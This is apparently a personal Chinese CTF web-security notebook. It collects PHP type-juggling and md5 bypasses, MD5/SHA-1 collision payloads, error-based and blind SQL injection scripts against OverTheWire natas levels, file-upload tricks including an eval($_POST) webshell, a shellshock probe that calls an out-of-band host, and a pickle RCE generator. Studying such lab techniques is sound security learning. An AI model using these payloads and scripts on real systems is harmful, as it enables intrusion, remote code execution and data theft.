个人web小白题刷题笔记
http
浏览器内部使用 32 位带符号的整数,来储存推迟执行的时间。这意味着 setTimeout 最多只能推迟执行 2147483647 毫秒(24.8 天)超过这个时间会发生溢出。如果溢出了之后,相当于从 0 开始,整数上溢
#的url编码是%23 '的是%27 \n是%0a \t是%09
alert()函数可以再控制台调用
http请求头中的character就是cookie中设置 Cookie: character=admin
如果在发包的时候,输入封号会造成消息的截断,可以用url编码%3B替代
POST请求的通用头 Content-Type 指定请求体的数据格式,常见值:(post请求中必须要有)
application/x-www-form-urlencoded(表单数据,默认格式)
multipart/form-data(文件上传或复杂表单)
application/json(JSON 数据)
text/xml(XML 数据)
如果在请求头中用base64的编码要把=和/ url编码
md5
md5相同但是字符串不同:1 2 3 4 5 md5 ('240610708' ) = 0 e462097431906509019562988736854 md5 ('QNKCDZO' ) = 0 e830400451993494058024219903391 md5 ('aabg7XSs' ) = 0 e087386482136013740957780965295md5 ('aabC9RqS' ) = 0 e260421314791580664869894734725 314282422 QLTHNDT EEIZDOI
双md5都是0e开头的字符串
1 2 3 CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 7r4lGXCH2Ksu2JNT3BYM
md5($str, false) 这是md5的默认情况 返回32位16进制数 如果是 md5($str, true)就返回16位二进制数 ffifdyop 是true参数时候的漏洞 md5 (‘ffifdyop’,true)=’or’6xxxxxx 也就是or了一个true
在 PHP 中,如果 md5() 作用于一个数组 ,它不会计算哈希,而是返回 NULL,但不会报错 (因为 error_reporting(0); 关闭了错误输出)。 所以可以用数组来绕过md5验证 1 2 用到场景: $a !== $b && md5($a) === md5($b)
运算符
作用
!=
不等于 (只比较值,允许类型转换)
!==
全不等 (值或类型不同都算不等)
$md5[0]==md5($md5[0]) 绕过可以使用 0e215962017,因为这个值的md5也是0e开头的
php md5强比较=== payload
1 2 a= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %00 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %55 %5 d%83 %60 %fb %5 f%07 %fe %a2 b= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %02 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %d5 %5 d%83 %60 %fb %5 f%07 %fe %a2
1 array1 = %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 %7 FF%DC %93 %A6 %B6 %7 E%01 %3 B%02 %9 A%AA %1 D%B2V %0 BE%CAg %D6 %88 %C7 %F8K %8 CLy%1 F%E0 %2 B%3 D%F6 %14 %F8m %B1i %09 %01 %C5kE %C1S %0 A%FE %DF %B7 %608 %E9rr /%E7 %ADr %8 F%0 EI%04 %E0F %C20W %0 F%E9 %D4 %13 %98 %AB %E1. %F5 %BC %94 %2 B%E35B %A4 %80 -%98 %B5 %D7 %0 F%2 A3 .%C3 %7 F%AC5 %14 %E7M %DC %0 F%2 C%C1 %A8t %CD %0 Cx0 Z%21 Vda0 %97 %89 %60 k%D0 %BF %3 F%98 %CD %A8 %04 F%29 %A1 &array2 = %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 sF%DC %91 f%B6 %7 E%11 %8 F%02 %9 A%B6 %21 %B2V %0 F%F9 %CAg %CC %A8 %C7 %F8 %5 B%A8Ly %03 %0 C%2 B%3 D%E2 %18 %F8m %B3 %A9 %09 %01 %D5 %DFE %C1O %26 %FE %DF %B3 %DC8 %E9j %C2 /%E7 %BDr %8 F%0 EE%BC %E0F %D2 %3 CW%0 F%EB %14 %13 %98 %BBU. %F5 %A0 %A8 %2 B%E31 %FE %A4 %807 %B8 %B5 %D7 %1 F%0 E3 .%DF %93 %AC5 %00 %EBM %DC %0 D%EC %C1 %A8dy %0 Cx%2 Cv%21 V%60 %DD0 %97 %91 %D0k %D0 %AF %3 F%98 %CD %A4 %BCF %29 %B1
php知识
php函数glob('*');查看当前目录中的文件 配合 highlight_file('$filename')查看
在 php 中,使用 Content-Type: multipart/form-data; 上传文件时,会将它保存在临时文件中,在 php 的配置中 upload_tmp_dir 参数为保存临时文件的路经,linux 下面默认为 /tmp。也就是说只要 php 接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且 php 每次创建的临时文件名都有固定的格式,为 phpXXXX.tmp(Windows 中)、php**.tmp(Linux 中)。我们可以发送一个上传文件的 post 包,此时 php 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpxxxxxx,文件名最后 6 个字符是随机的大小写字母。如 /tmp/php123abc
forward_static_call_array() 是 PHP 中的一个内置函数,它允许在运行时动态地调用一个静态方法。其作用类似于 call_user_func_array(),但专门用于静态方法调用
1 2 forward_static_call_array(['类名', '静态方法名'], 参数数组); forward_static_call_array( callable $function , array $parameters )
与 call_user_func_array() 的区别:call_user_func_array() 也可以用于调用静态方法:但 forward_static_call_array() 主要用于静态上下文,特别是在继承场景下,确保调用的是当前类或子类的方法,而不是基类的方法。 在 PHP 中,默认命名空间为 \,因此调用静态方法时可以使用绝对路径 :
在 php 当中默认命名空间是 \,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路径; 而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。 举例:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php namespace MyNamespace ;function strlen ($string ) { return "Custom strlen function in MyNamespace" ; } echo strlen ("Hello, World!" ); echo "\n" ;echo \strlen ("Hello, World!" ); ?>
PHP 中的 call_user_func()函数: call_user_func() 是 PHP 的一个回调函数调用方法,它可以用于 动态调用函数 或 类的方法,即在运行时决定要执行哪个函数,而不是在代码编写时就固定。
1 2 3 4 5 6 7 8 9 10 class Demo { static function sayHello($name ) { return "Hello, $name !" ; } } echo call_user_func(["Demo" , "sayHello" ], "Alice" );
data:// 伪协议允许在 URL 直接存储数据,而不需要实际文件。 data://text/plain 或 data://text;base64,values(base64)
intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:
1 2 3 4 intval (mixed $value , int $base = 10 ): int $value (必需):要转换的值,可以是字符串、浮点数、布尔值等。$base (可选):进制,默认为 10 。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。
1 2 3 4 5 echo intval ("42 "); echo intval ("42 abc"); echo intval ("abc42"); echo intval (4.9 ); echo intval (-4.9 );
preg_match /i是大小写不敏感的
php中的几类属性: public公有的属性或方法可以在任何地方被访问,包括类的内部、外部以及子类中 private私有的属性或方法只能在其定义的类内部被访问,不能在子类或类的外部访问 protected受保护的属性或方法只能在类的内部、子类或父类中被访问,不能在类的外部直接访问
在 PHP 中,strstr() 函数用于在一个字符串中查找指定的子字符串,并返回从该子字符串首次出现的位置开始的剩余部分。
在 PHP 里,若向 strcmp 函数传入数组而非字符串,会引发警告并返回 null。由于 null 在布尔上下文中被视为 false,经过逻辑非运算符 ! 处理后就变成了 true。因此,当你以数组形式传入 passwd 参数时,这个条件表达式会被判定为真,从而实现绕过。 passwd[]=1
要看文件b的内容,但是只能在文件b写内容和在文件b里面 ,可以写<?php include '/etc/natas_webpass/natas26'; ?>
php中读取文件目录的函数还有scandir 过滤了. 可以用chr(47) 也就是chr + ascii码的方式绕过
php中的show_source是查看内容的函数 或者file_get_contents
php中用get和post传入的参数如果有.和空格会转换成下划线_,如果是+号会转换成空格 (可以连续变换 +号变成空格再变成下划线)
把字母数字全部禁用,后面是执行两个变量的动态函数,可以通过\create_function调用全局函数,并且绕过waf,然后b用}闭合插入想要执行的命令,最后/*注释后面的内容
1 2 3 4 if (preg_match('/^[a-z0-9_]*$/isD' ,$a )){ show_source(__FILE__ ); } else { $a ('' ,$b ); }
1 2 - a =\create_function - b=}system ('你想执行的命令' );
命令函数: assert在php5和php7中如果传入的是字符串也会被当成命令执行assert($_POST['cmd']); create_function(string $args, string $code)也是一个命令执行函数,会创建一个匿名函数
1 2 3 function anonymous($args ) { // $code 的内容会放在这里 }
preg_replace(被替换,替换的,句子) 配合 /e 修饰符
1 2 // 将 'shell' 这个词替换为 phpinfo() 执行后的结果preg_replace('/shell/e' , 'phpinfo()' , 'shell' );
call_user_func() / call_user_func_array() 调用一个用户自定义的函数。第一个参数是函数名,后面的参数是传给该函数的参数。
1 2 call_user_func( 'assert', 'phpinfo()') ;
系统执行命令函数: system exec shell_exec 反引号 execpassthru 执行一个外部命令,并且直接显示所有输出,适合用来输出二进制数据(比如图片)。
1 2 header ('Content-Type: text/plain' ); passthru ('cat /etc/hosts' );
popen() proc_open() : 这两个函数更强大,它们会打开一个进程“管道”,可以像读写文件一样与命令进行交互(比如向命令输入数据,或读取命令的输出)。
1 2 3 4 5 $handle = popen ('ls -la' , 'r' ); $read = fread ($handle, 2096 ); echo $read; pclose ($handle);
sql注入
sql注入单引号被过滤的时候用双引号
常见sql注入过滤
1 2 3 4 5 空格过滤 → 用 `/**/`、`%0 a`、`%0 d` 代替。 引号过滤 → 用 `Hex` 编码或字符串函数(如 `CHAR(97 )`)。 关键词过滤 → 尝试大小写、内联注释(`SELECT`)、冗余语法(`UNION ALL SELECT`)。 逗号过滤 → 使用 `JOIN` 代替 `UNION SELECT 1 ,2 ,3 `。 等号过滤 → 用 `LIKE` 或 `IN` 绕过,例如 `WHERE id LIKE 1 `。
另一篇笔记中的绕过方法
数据库查询长度超出待查询的字符串后会返回特殊字符 NULL 或者 !等
mysql中的反引号是为了区分 MYSQL 的保留字与普通字符,所以没有过滤反引号就可以用反引号来绕过 保留字比如user
mysql可以用load_file()函数读取文件union select load_file(‘path_to_file’) 目录可以选/var/www/html/
在 MySQL 中,WHERE 子句在比较字符串时会忽略字符串末尾的空格。例如,当执行 SELECT * FROM table WHERE column = 'cs '; 时,MySQL 会将其视为 'cs' 进行比较,只要 column 列的值为 'cs' 就会匹配成功。这一特性可以用于绕过一些输入过滤机制。
CHAR 和 VARCHAR 列有最大长度限制 :当给 CHAR 或 VARCHAR 列赋值时,如果值的长度超过了列的最大长度,就会对值进行裁剪以使其适合列的长 度。 严格 SQL 模式的影响 : 严格模式下 :如果被裁掉的字符不是空格,会产生错误并禁用值的插入。 非严格模式下 :不管被裁掉的字符是什么,都会直接截断值,不会产生错误。 (用法举例,在严格模式下,已知有个admin账号,可以创建一个用户,admin然后很多空格后面在随便加什么,然后会截断,再根据上一条,where中查询空格不会被计算)
extractvalue (1,concat (0x7e,database ())) 根据错误信息爆库名的时候用到 EXTRACTVALUE() 是 MySQL 的一个 XML 处理函数,它用于从 XML 数据中提取特定的值.但如果传入 非 XML 结构 的 XPath,会报错,并在错误信息中泄露数据.CONCAT() 用于拼接字符串。0x7e 是 十六进制的 ~(波浪号)用于报错信息可以回显 1 2 3 id :1 ' union select 1 ,2 ,extractvalue(1 ,concat(0 x7e,database()))#XPATH syntax error: '~test_db'
sql注入中可以用substring函数来绕过字符长度限制 1 2 3 id :-1 ' union select 1 ,2 ,extractvalue(0 x7e,(select substring(group_concat(flag),25 ,32 ) from test_tb)) #XPATH syntax error: 'a-ff5d9638a322}'
sql中 LIMIT 主要用于 限制查询结果的数量 ,通常用于分页、提高查询效率等。 SELECT * FROM table_name LIMIT 偏移量,数量;,就是在你确定sql语句没错的时候,返回的内容没错但是不是想要的,可以在后面加上limit 1,1试试
sql注入中最后知道列名查值的时候,1,group_concat(),3这里括号中的名字不要引号,最后的from也不用。在爆表的时候要在库名和列名要在后面的库名或者表名加引号
sql报错注入还有updatexml函数
1 2 3 4 UPDATEXML (xml_data, xpath_expression, new_value)time =updatexml (1 ,substring (concat (0 x7e,(select group_concat (schema_name) from information_schema.schemata),0 x7e),25 ,50 ),3 )
sql注入的时候,如果查询被截断,就考虑是字符限制,把原始查询的字符删掉
根据回显的sql脚本 二分法优化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsauth = ("natas15" , "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx" ) url = "http://natas15.natas.labs.overthewire.org/index.php" password = "" password_length = 32 for i in range (1 , password_length + 1 ): low,high = 32 ,126 while low < high: mid = (low + high) // 2 payload = f'natas16" and ascii(substr(password,{i} ,1)) > {mid} -- -' r = requests.get(url, auth=auth, params={"username" : payload}) if "user exists" in r.text: low = mid + 1 else : high = mid if low == high: password += chr (low) print (f"Found {i} -th character: {password} " ) print (f"Final Password: {password} " )
sql注入里面用时间盲注的requests的返回时间函数是r.elapsed.total_seconds()
mysql中的like是大小不敏感的 如果要大小写敏感就要用 like binary
mysql中if函数的最后一个参数的值是条件不成立的时候返回的值 比如if(password like binary "%{i}%",sleep({time}),1) 成立执行第二个参数,不成立执行第三个参数
时间盲注脚本,可以先确定有什么字符优化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requests import string a = '' url = 'http://natas17.natas.labs.overthewire.org/index.php' auth = ("natas17" , "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC" ) time = 5 c = string.ascii_letters + string.digits sure = '' for i in c: username = f'natas18" and if(password like binary "%{i}%",sleep({time}),1) -- -' r = requests.get (url =url, auth =auth, params={"username" : username}) if r.elapsed.total_seconds() >= time: sure += i print (f"[+]password certain: {i}" ) for i in range(1,33): for x in sure: username = 'natas18" and ascii(substr(passwd,{i},1)) = ascii("{x}") and sleep({t}) -- -' .format(i =i,x=x,t=time) r = requests.get (url =url,auth=auth,params={"username" :username}) if (r.elapsed.total_seconds() > time): a +=x print (a) break print (f"Final Password: {a}" )
% 符号是 SQL 中的通配符,用于执行模糊匹配(类似于正则表达式中的 .*)% 代表任意长度的字符 示例SELECT * FROM users WHERE username LIKE '%admin%';表示匹配任何包含 “admin” 的 username
mysql中的substr索引从1开始不是0
sql报错注入的extractvalue和updatexml函数只能返回32个字符 right(),left(),substr()来截取字符串
sql有回显的时候,不能用注释符号的时候,可以用sql中的字符运算’username’:”0’+ascii(substr((select * from flag) from “+str(i+1)+” for 1))+’0” unfinish
如果选择数据库,回显出来是0说明可能是进制有问题,可以选择用hex转成16进制,但是如果数据库中带有数字或者字母会出现英文,如果都是数字,可能是英文被过滤。可以考虑把16进制转成10进制,然后在显示如 '+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
在mysql中,字符串和数字类型也可以比较,比较之前字符串会转化成0 可以构造payload admin' -0-' 因为原始插入语句可能是SELECT * FROM users WHERE username = 'admin'-0-' AND password = 'xxx'; 插入之后出现表达式0 - 0 = 0 然后数据库中用户名的字段是字符串,和0比较也是0 所以可以实现sql注入
过滤空格和逗号,要读取数据可以用类似select mid(('123')from(1)for(2))
无法用information中的表,查不到table的时候,先尝试flag
ctf中的linux
nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。(一般对输入字符有限制的时候用
linux中*会把目录中的第一个匹配到的文件名当作命令 剩下的文件名当作参数执行
在大多数 Linux 系统中,PHP 默认会将 Session 数据存储在 /tmp 目录下,文件名通常以 sess_ 为前缀,后跟 Session ID。
在单引号字符串中插入单引号的办法'"'"' 原理: 将字符串拆分成多段 ,通过交替使用单引号 ' 和双引号 ",间接插入单引号字符。其实就是一种拼接的形式 1 2 3 4 # 错误示例,会导致解析错误 echo 'This is a ' test' string.' # 正确示例 echo 'This is a ' "'" 'test' "'" ' string.' #等效于 '<?php system (' + "'" + 'cat fl*' + "'" + ');?>'
在linux中命令中间有分隔符,单引号双引号反斜杠反引号也可以照样执行命令比如l''s l""s l\s l``s
shellshock漏洞:,Bash 在解析环境变量时存在漏洞 ,如果环境变量的值以 () 开头并带有 额外的命令 ,Bash 会在解析时执行这些命令 ,即使它们不在函数体内。
1 (){ :; }; /usr/ bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
检测方法 curl -v ip -H "Referer:() { test;}; echo 'Content-Type: text/plain';echo;echo; /usr/bin/id;exit" 通过 HTTP 请求中的 User-Agent、Referer、Cookie 等 Header 注入恶意环境变量
linux中的mac地址在/sys/class/net/eth0/address 如果用mac地址作为随机种子,要去掉冒号,然后加上0x变成十六进制,因为随机种子一般是1位
nginx配置文件在/usr/local/nginx/conf/nginx.conf
find / -name '*' -exec grep -H 'NSS' {} \; 2>/dev/null 藏flag的时候这么找所有的
过滤空格可以使用cat</flag得到flag 重定向也可以写成&lt;
文件上传
php3,php5,pht,phtml,phps 都是 php 可运行的文件扩展名 下面是扩展名表
语言
可解析后缀
ASP/ASPX
asp, aspx, asa, ascx, ashx, asmx, cer, cdx
PHP
php, php5, php4, php3, phtml, pht
JSP
jsp, jspx, jspa, jsw, jsv, jspf, jtml
.htaccess 是一个纯文本文件,它里面存放着 Apache 服务器配置相关的指令。 .htaccess 主要的作用有:URL 重写、自定义错误页面、MIME 类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义 404 错误页面、阻止 / 允许特定 IP/IP 段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。 .htaccess 的用途范围主要针对当前目录。 1 2 3 4 <FilesMatch "\.jpg$" > SetHandler application/x-httpd-php</FilesMatch>
在 php 中 ".user.ini" 有如下解释:php 会在每个目录下搜寻文件名,如果设定为空字符串则 php 不会搜寻,也就是在 “.user.ini” 中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。有两种方法: auto_prepend_file: 在页面顶部加载文件 auto_append_file: 在页面底部加载文件 而且这种方式解析的文件都会被当作php文件执行,在一些文件上传题目也会碰到
如果环境支持伪协议,用user.ini也可以包含伪协议
1 2 .user .ini auto_append_file=php:
还可以包含日志文件
1 2 nginx auto_prepend_file = /var/ log /nginx/access.log
在文件内容的开头输入 GIF89a 主要用于绕过 MIME 类型检测 和 Web 服务器的文件格式验证 ,在有检测上传文件类型的题目中可以在修改成jpg文件的前面加上这句 文件头检测:
文件类型
后缀
文件头 (Hex)
文件尾 (Hex)
标志
JPEG
.jpg/.jpeg
FFD8FF
FFD9
JFIF
PNG
.png
89504E47
AE426082
PNG IEND IHDR
GIF
.gif
47494638
003B
GIF89a / GIF87a
TIFF
.tif/.tiff
49492A00
4D4D2A00
- II MM
文件上传的题目如果对文件的类型有检测就要修改MIME就是content-type 比如image/jpeg
如果是文件上传题对图片的宽和高有要求,尝试在木马文件上面自己定义宽和高 1 2 #define height 1 #define width 1
Apache 解析漏洞主要是因为 Apache 默认一个文件可以有多个用。分割得后缀,当最右边的后缀无法识别(mime.types 文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准) 在一些文件上传问题中可能出现这个问题 所以如果黑名单比较简单,后缀名只看从第一个.开始,就可以上传类似1.php.aaa这样的文件
apache 换行解析漏洞 影响范围:2.4.0-2.4.29 版本 原因:合法后缀配置文件中的正则表达式中 $ 不仅匹配字符串结尾位置,还可以匹配 \n 或 \r,在解析 php 时,1.php\x0A 将按照.php 进行解析,而’.php\x0A’ != ‘.php’, 可能过滤时过滤了.php 但没有过滤.php\x0A 从而实现绕过。配置文件:过滤后缀名.phpapache 2.4.7 无法上传 hhh.php, 上传 hhh.php.xxx 可以绕过。
iis6.0 的 两种解析漏洞: 1.目录解析: 以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。 2.文件解析: *.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。
双后缀绕过文件上传限制的时候,gif可以在文件头写GIF89a然后插入php代码,gif这个后缀名有时候会执行php文件
在一些情况,文件的后缀被白名单限制死,但是文件名被保存到服务器中,然后前端从数据库中获取文件名,可能造成sql注入 尝试上传select.jpg
php0x00 %00空白字符截断 原理是最后被解析成chr(0) 这是一个空白字符,空白字符后的内容会被截断造成绕过 漏洞版本很老不常见:php版本小于5.3.4 java版本小于7u40
iconv 字符转换异常造成截断 utf-8字符集 默认的字符编码范围的是0x00-0x7f php版本低于5.4 123.php%df.jpg 123.php
没有过滤html后缀的时候,可以用html文件来执行xss或者可以直接上传一个由文件上传功能的html文件
在有getimagesize函数检测是否是图像中,如果能绕过这个函数就可以上传任意的文件 xbm格式图片 用定义 宽高的方式就可以检测
1 2 3 4 5 auto_append_file=/var /log /nginx/access.log .user.ini #define width 100 ; #define height 100 ;
1 2 3 4 5 6 7 8 9 10 11 12 <?php class TestObject {} @unlink ('test.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $o =new TestObject ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" ); $phar ->stopBuffering ();?>
序列化
php 的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup (); PHP5 < 5.6.25、PHP7 < 7.0.10
如果 PHP 代码使用了 __autoload() 或 spl_autoload_register(),那么在 unserialize() 时,PHP 会尝试自动加载不存在的类。攻击者可能通过控制 autoload 机制,使其加载恶意代码。 1 2 3 4 5 spl_autoload_register(function($class ) { include "/tmp/$class .php" ; // 如果 class 不存在,会自动尝试加载 }) ;unserialize('O:8:"Malicious":0:{}' ); // 假设类 Malicious 不存在,PHP 会通过已注册的自动加载函数尝试加载 /tmp/Malicious.php 文件
php序列化中的表示O:<类名长度>:"<类名>":<成员数量>:{<成员>}
die函数也能调用__toString()方法
两个变量同时指向同一个内存地址也可以绕过wakeup,因为这样就是修改另一个变量从而修改被修改的变量的值
当你试图访问一个不存在 或不可访问 (如 private)的属性时,__get() 方法会被自动调用。
在 PHP 中,__call() 是一个 魔法方法 ,当调用未定义 或不可访问 (如 private)的方法时,它会被自动触发。
__invoke() 是一个魔术方法(Magic Method),用于使对象像函数一样被调用。它的作用是让一个对象能够像普通函数一样执行,而不需要显式调用方法。当试图把一个对象当作函数调用 时,就会自动触发 __invoke() 方法。
1 $obj = new CallableClass(); $obj ("这是 __invoke 被触发的示例" );
要把一个对象赋值给一个对象属性,而且还是私有的属性,我们不能直接赋值,也不能在外面赋值,但是我们可以使用 __construct 构造函数来赋值。
private 属性的内容会有不可见字符,所以有时候要用urlencode序列化之后的内容
php中的__set函数当试图为一个未定义或不可访问(如私有或受保护)的属性赋值时 调用 get也是
1 2 3 __get ($name ):当尝试读取对象中未定义或不可访问的属性时,自动调用此方法。 __set ($name , $value ):当尝试为对象中未定义或不可访问的属性赋值时,自动调用此方法。
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Example { private $data = []; public function __get ($name ) { echo "获取属性 '$name '\n" ; return $this ->data[$name ] ?? null ; } public function __set ($name , $value ) { echo "设置属性 '$name ' 为 '$value '\n" ; $this ->data[$name ] = $value ; } } $example = new Example ();$example ->property = 'value' ; echo $example ->property; ?> 设置属性 'property' 为 'value' 获取属性 'property' value
ssrf
ssrf中有限制长度的时候,可以用0 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
http://sudo.cc 就是指向127.0.0.1
细节
php伪协议无法使用就用日志注入 蚁剑中的https证书忽略打开 做过一题限制了显示个数 所以不能尝试太多
写入的 session 马上又会被删除,使用我们利用 bp 不断的发包
url在字符前加~就是取反,可以用于字母绕过,因为取反的之后的字符大部分都是不可见字符 1 2 3 4 <?php echo var_dump (urlencode (~'system' )); ?>
php中的 $str = preg_replace('/NSSCTF/',"",$_GET['str']);如果是将敏感词置换为空,就可以用双写置换,这里就是NSSNSSCTFCTF
只能写三个字符但是比一个很大的数字大可以用科学计数法9e9
%09的url解码是/t(制表符)有时候空格绕过${IFS}也不行的时候用这个
一些题目中如果过滤了?或者php。又要上传一句话木马,可以上传script版本的 1 <script language ="php" > @eval ($_POST['a' ]); </script >
都是两个数字一组的加密字符串,不一定是hex,还有可能是tapcode敲击码
sql注入中,如果or或者union这种关键字被过滤尝试双写绕过,而且比如or被过滤那information里面含or也会被过滤
mt_srand (seed) 用于 初始化随机数生成器,其中 seed 是随机数种子。影响:如果使用相同的 seed,那么后续调用 mt_rand () 生成的随机数 始终相同。
原始抓包中的数据如果是URL编码,则发送payload也要url编码
注意题目python执行的版本不同,有的题目用python2执行的,比如随机种子生成中两个版本的python生成的结果就不一样
在一些无回显的题目中,如果要把返回内容写回到文件,注意flask框架的根目录很可能是/app 写到静态文件/app/static/xxx中
hex分为普通的hex和asciihex 字符串的时候用asciihex ASCII Hex 用于字符串存储和传输,因为它能保证数据是可读的 ASCII 字符,不会引起协议解析问题。 比如一个hex 41拆成字符4和1 然后找到对应的ascii码 就是3431
其他语言知识
在 Python 正则表达式中,”.” 表示匹配除了换行符之外的任意单个字符,”“ 表示匹配前面的字符零次或多次。因此,”. “ 表示匹配任意长度的字符序列,这也被称为贪婪匹配 (greedy matching)。 注意到这个除了换行符以外,所以可以用%a绕过一些正则匹配,前面是换行就匹配不到
参数传递是大括号的时候,考虑原型链污染,使用的是__proto__这个私有属性,用这个修改原型的属性,当再创建一个实例的时候,就会继承被修改过的原型的属性
python中: __class__ 获取对象的类。 __init__ 获取类的构造方法。 __globals__ 获取该类定义时的全局变量 。 示例 1 2 3 4 5 f1ag = request.args .get ('f1ag' ) or "" exp = request.args .get ('exp' ) or "" message = "Your flag is {0}" + exp ?flag=1 &exp ={0 .__class__.__init__.__globals__}
flask的pin码泄漏可以去 /console /debugger界面执行任意命令,但是执行命令不能用os.system 只会返回0 要用os.popen().read()
python 中的pickle反序列化漏洞: pickle.loads()是不安全的! 它可以执行任意 Python 代码,如果攻击者构造恶意的 pickle 数据,就能远程执行命令(RCE) 利用方式 :攻击者可以构造一个恶意 pickle 对象,其中包含一个 os.system("command"),然后将其 Base64 编码并提交到 /import 端点。 1 2 3 4 5 6 7 8 9 import pickle import base64 import osclass Exploit : def __reduce__ (self ): return (os.system, ("touch /tmp/hacked" ,)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() print (payload)
opcode版本 1 2 3 4 5 6 7 8 9 import pickle,pickletools import base64 opcode = b'''cos system (S'mkdir static && set > ./static/1' tR. ''' pickletools.dis(opcode) print (base64.b64encode(opcode).decode())
flask框架题里面,可以访问任意的url的时候 在/proc/self/cmdline 可以读取当前进程的命令,所以可以得到所在的路由
信息泄漏
git文件泄漏 工具 Githack https://github.com/lijiejie/GitHack
.svn信息泄露 工具 dvcs-ripper https://github.com/kost/dvcs-ripper cd到工具目录下的.svn/pristine/查看内容
.hg信息泄漏 Mercurial 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg。 工具dvcs-ripper cd到.hg目录,用grep -r flag *命令搜索有flag关键字的文件
brz信息泄漏 工具 dvcs-ripper CVS/Root和CVS/Entries, 分别记录了项目的根信息和所有文件的结构
网站源码泄漏 后缀 zip,tar,rar,tar.gz 文件名 www wwwroot web website backup back temp 有时index.php.bak也会有泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = "url" li1 = ['web' , 'website' , 'backup' , 'back' , 'www' , 'wwwroot' , 'temp' ] li2 = ['tar' , 'tar.gz' , 'zip' , 'rar' ] for i in li1: for j in li2: url_final = url + "/" + i + "." + j r = requests.get(url_final) print (f"状态码: {r.status_code} , URL: {url_final} " )
vim -r 可以查看后缀为.swp的备份文件
WEB-INF/web.xml 泄漏 这是java应用中通常不允许被访问到的目录,在有些情况由于错误的配置或者由目录便利可以读到这个目录中的内容
1 2 3 4 5 WEB-INF /web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则. WEB-INF /database.properties : 数据库配置文件 WEB-INF /classes/ : 一般用来存放Java类文件(.class ) WEB-INF /lib/ : 用来存放打包好的库(.jar) WEB-INF /src/ : 用来放源代码(.asp和.php等)
文件包含
四种常见的文件包含函数 include():找不到被包含的文件只会产生警告,脚本继续执行 require():找不到被包含的文件会产生致命错误,并停止脚本运行 include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含 require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
php伪协议:
